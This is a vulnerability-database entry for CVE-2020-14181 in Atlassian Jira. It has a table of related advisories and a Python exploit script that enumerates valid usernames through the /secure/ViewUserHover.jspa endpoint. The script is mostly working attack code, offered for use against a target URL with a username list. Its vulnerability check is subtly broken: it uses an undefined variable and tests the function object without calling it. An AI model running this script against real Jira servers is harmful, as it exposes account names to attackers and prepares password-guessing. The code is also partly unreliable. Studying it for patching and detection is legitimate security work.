Atlassian JIRA 8.11.1 - User Enumeration
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Atlassian JIRA 8.11.1 - User Enumeration Exploit | 10 Mar 202100:00 | – | zdt | |
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Atlassian Data_Center | 26 Oct 202017:07 | – | githubexploit | |
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Atlassian Data_Center | 5 Feb 202107:48 | – | githubexploit | |
| CVE-2020-14181 | 16 Sep 202000:00 | – | attackerkb | |
| Sensitive data exposure via /secure/QueryComponent!Default.jspa endpoint - CVE-2020-14179 | 10 Sep 202004:31 | – | atlassian | |
| User Enumeration via /ViewUserHover.jspa - CVE-2020-14181 | 16 Sep 202003:13 | – | atlassian | |
| User Enumeration via /ViewUserHover.jspa - CVE-2020-14181 | 16 Sep 202003:13 | – | atlassian | |
| Jira ViewUserHover XSS | 20 Oct 202000:00 | – | bdu_fstec | |
| CVE-2020-14181 | 15 Sep 202117:55 | – | circl | |
| Atlassian Jira Server and Data Center Information Disclosure Vulnerability (CNVD-2020-52933) | 18 Sep 202000:00 | – | cnvd |
10
# Title: Atlassian JIRA 8.11.1 - User Enumeration
# Author: Dolev Farhi
# Vulnerable versions: version < 7.13.16, 8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0
# CVE: CVE-2020-14181
# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.
import sys
import os
import requests
def help():
print('python3 script.py <target> <usernames_file>')
print('e.g. python3 script.py https://jiratarget.com usernames.txt')
sys.exit()
if len(sys.argv) < 3:
help()
server = sys.argv[1]
usernames = sys.argv[2]
random_user = '0x00001'
try:
os.path.exists(usernames)
except:
print(usernames, 'file does not exist.')
sys.exit(1)
def test_vulnerable():
resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
if 'User does not exist: {}'.format(random_user) in resp.text:
return True
return False
if test_vulnerable is False:
print('server is not vulnerable.')
sys.exit(1)
f = open(usernames, 'r').read()
for username in f.splitlines():
resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
if 'User does not exist' not in resp.text:
print('EXISTS', username)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Mar 2021 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 25
CVSS 3.15.3
EPSS0.99603